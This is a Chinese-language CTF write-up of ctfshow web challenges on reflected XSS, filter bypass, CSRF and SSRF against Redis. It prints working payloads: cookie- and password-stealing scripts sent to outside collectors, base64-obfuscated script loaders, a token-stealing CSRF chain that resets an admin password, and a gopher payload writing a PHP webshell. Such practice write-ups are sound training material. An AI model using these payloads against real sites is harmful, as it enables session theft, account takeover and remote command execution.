渗透基础知识ctfshow——Web应用安全与防护(第六 七章)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- 混合型XSS
- XSS 练习(反射型)
- **绕过方法**
- 新增知识:平台外带xss
- 编码绕过XSS过滤
- 绕过方法
- 请求伪造漏洞_CSRF
- 绕过方法
- 最简单的SSRF
- SSRF打Redis
- 总结
混合型XSS
打开网页,可以看到如下页面:
话不多说,开启我们的闯关:
XSS 练习(反射型)
我们可以看到很普通的登录框,输入参数抓包分析一下:
输入账号密码后,提示“账号或密码错误”:
然后就尝试注册了一个用户,再尝试进行登陆:
随后进入到一个新页面:
管理员审核后:
抓包分析,发现我们刚刚输入的签名“123”,成功显示在了页面上:
绕过方法
我们可以得到以下三个关键信息:
- 输入即输出(未过滤):在请求的 URL 参数中输入了
sig=123(左侧 Request 区域),服务器端接收后,没有做任何安全过滤或转义,直接把这原封不动地“反射”到了页面的 HTML 代码中(右侧 Response 区域的<p>...: 123</p>)。 - 漏洞成因:因为服务器“盲目信任”了输入,这就意味着,如果你输入的不是普通的数字
123,而是一段恶意的 JavaScript 代码(例如<script>alert('XSS')</script>),服务器同样会把它原样拼接到 HTML 中。当浏览器解析到这里时,就会当做正常代码执行。 - 题目信息暗示:注意看图里那句“管理员会在1分钟内审核”意味着后台有一个模拟的“管理员机器人”会去访问你提交的链接。
所以这里我们尝试构造一下payload:
<script>alert('XSS')</script>成功反弹:
这里尝试用XSS平台获取管理员的Cookie:
webhook.site:https://webhook.site/xssaq:https://xssaq.com
<script>window.location.href='https://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/?cookie='+document.cookie</script># POST型外带<script>fetch('https://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/',{method:'POST', body: document.documentElement.outerHTML});</script>POST型:
可以看到都失败了;那就换个平台:
随便选择一个payload,输入到签名框里等待:
即可反弹;
随后查看内容:
这里我翻看源码,并没有找到flag,只能去网上找WP; - 原来是还少了一步;新增知识:平台外带xss
为什么需要换平台外带?
- 之前使用的 xss 平台虽然能通过 <script src> 上线,但它可能仅支持预定义的数据收集方式(比如自动截图、获取 Cookie 等);
- 而无法让你自定义发送任意数据(如页面源码)
- 因此,你需要一个完全可控的外部平台,例如 https://pipedream.com,它允许你
- 创建一个专属的 HTTP 接收端点(Endpoint),可以查看所有传入的请求详情(包括 Headers、Body、参数)。
- 不受数据格式限制,你可以自由地将页面源码作为 GET 参数或 POST 数据发送。
- 实时查看日志,便于调试和提取密码。
步骤如下:
(1)在 Pipedream 上创建一个 HTTP 触发器(HTTP Endpoint),获得一个专属 URL(例如 https://eoxxxxxx.m.pipedream.net)。然后编写如下 Payload,将页面源码发送到这个 URL:
需要进行登陆,并且创建+new workflow即可
(2)在弹出的选择框中,需要找到并点击 “HTTP / Webhook”。这就是你要找的“HTTP Endpoint”。
(3)随后输入一段异步 XSS 脚本(Async XSS),用于在浏览器中执行以下操作:
注意在代码中,替换成自己的url
(async()=>{try{constres=awaitfetch('/profile',{credentials:'include',method:'GET'});consttxt=awaitres.text();constsecret=txt.split('id="upass"')[1].substr(48,45);constheaders=newHeaders()headers.append("Content-Type","application/json")constbody={"test":secret}constoptions={method:"POST",headers,mode:"cors",body:JSON.stringify(body),}fetch("https://eoiq59v45jb1lvw.m.pipedream.net",options)}catch(e){console.error(e);}})();作用如下:
- 向 /profile 发起请求(携带 Cookie)
- 获取页面 HTML 源码
- 提取其中的密码字段(id=“upass”)
- 将密码通过 POST 请求发送到你的 Pipedream Webhook
- 成功后,你在 Pipedream 中就能看到 flag
(4)将这段代码添加进自定义模块。
(5)再次发送XSS语句,即可得到结果:
<imgsrc=xonerror=s=createElement('script');body.appendChild(s);s.src='//ujs.cx/YmU';>随后点击按钮:
编码绕过XSS过滤
还是老样子,打开网页:
还是先注册账号,然后尝试登陆:
绕过方法
此题只过滤了script 和 \,用下面命令进行绕过,其余和上一题一样
详细步骤同上:
记得改成自己的配置代码://ujs.cx/EZW
(1)将payload进行base64编码:
# 原始payloadvar s=document.createElement('script');s.src='//ujs.cx/EZW';document.body.appendChild(s);# base64编码后cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc=# 大概形式如下<svgonload="eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc='))">成功返回flag:
请求伪造漏洞_CSRF
同理:
正常注册用户 123/123 然后进行登陆:
增加了很多功能,可以修改密码,获取flag则需要管理员的账号密码
绕过方法
分析修改密码路由/modify
<formmethod="post"class="mt-3"><divclass="mb-3"><labelclass="form-label">用户名</label><inputclass="form-control form-control-lg bg-transparent text-light"name="username"disabledvalue="test"></div><divclass="mb-3"><labelclass="form-label">新密码</label><inputtype="password"class="form-control form-control-lg bg-transparent text-light"name="password"required><inputtype="hidden"name="csrf_token"value="3g4i9_yQLKQaoO_LRR8399tux22pg2S7E-WNWJVuPN4"></div><divclass="d-flex justify-content-between align-items-center"><buttonclass="btn btn-neon btn-lg">修改</button><aclass="text-decoration-none text-info"href="/login">已有账号?登录</a></div></form>虽然不验证旧密码,但是新增了csrf_token验证;
XSS的利用点还在,我们首先打入xss 看下管理员访问的同源地址,否则无法进行CSRF利用(无法携带cookie)
成功拿到管理员的同源地址 端口是4476端口,也就是后续 修改密码的提交地址,应该是本地的4476端口:
尝试使用XSS来修改管理员的密码,无csrf_token,检查后端是否对token进行了验证:
// 构造表单数据 const formData=new URLSearchParams();formData.append('password','123456');fetch('http://127.0.0.1:4476/modify',{method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded',}, body: formData, credentials:'include'// 重要:自动携带Cookie}).then(response=>{}).catch(error=>{});进行二次XSS,获取csrf_token,并发给攻击网址:
fetch('http://127.0.0.1:4476/modify',{credentials:'include'// 携带Cookie}).then(r=>r.text()).then(html=>{// 提取Token const tokenMatch=html.match(/name="csrf_token"value="([^"]*)"/);if(tokenMatch&&tokenMatch[1]){const token=tokenMatch[1];const leakUrl=`http://ctf.show.ctfer.com/?token=${token}&target=http://127.0.0.1:4476/modify`;window.location.href=leakUrl;}});攻击网址的主要代码如下:
<formid="csrfForm"action="{{ target }}"method="POST"><inputtype="hidden"name="password"value="123456"><inputtype="hidden"name="csrf_token"value="{{ token }}"></form><script>setTimeout(()=>{document.getElementById('csrfForm').submit();},1000);</script>调用的时候,通过GET传参后,初始化到html表单中,这样就可以在管理员无感情况下,修改管理员密码,进行二次XSS注入:
成功登陆管理员账号,使用 admin /123456来验证账号获取flag:
最简单的SSRF
直接保留地址绕过即可:
源代码如下:
<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$x=parse_url($url);if($x['scheme']==='http'||$x['scheme']==='https'){$host=$x['host'];if((strlen($host)<=5)){$ch=curl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$result=curl_exec($ch);curl_close($ch);echo($result);}else{die('hacker');}}else{die('hacker');}?>hacker根据代码,直接得到flag:
SSRF打Redis
页面源代码如下:
<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$ch=curl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$result=curl_exec($ch);curl_close($ch);echo($result);?>以下引用自
Y0uhe师傅
- 工具使用:https://github.com/tarunkant/Gopherus
直接使用工具生成payload:
python gopherus.py--exploitredis上述字符解码后的语句为:
*1$8flushall *3$3set$11$34<?php system($_GET['cmd']);?>*4$6config$3set$3dir$13/var/www/html *4$6config$3set$10dbfilename$9shell.php *1$4save生成字符的作用:是Redis未授权访问写入PHP一句话木马的攻击指令,用于通过SSRF漏洞在目标服务器写入webshell实现远程控制。
将生成的字符_后面的再进行一次编码:
POST传入
url=gopher://127.0.0.1:6379 /_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250D%250A%250D%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250D%250A%250D%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250Ashell写入的地址默认url/shell.php:
成功连接并执行命令:
连接蚁剑:
成功根目录下找到flag:cat /flaaag
总结
本文围绕Web安全漏洞展开,重点分析了XSS漏洞的绕过策略与平台外带技巧,详细解析了CSRF请求伪造的防范与规避,并深入探讨了SSRF漏洞的利用场景。 针对SSRF漏洞,文章特别演示了如何利用该漏洞攻击Redis等内部组件,展示了从基础漏洞到横向移动的实战链路。
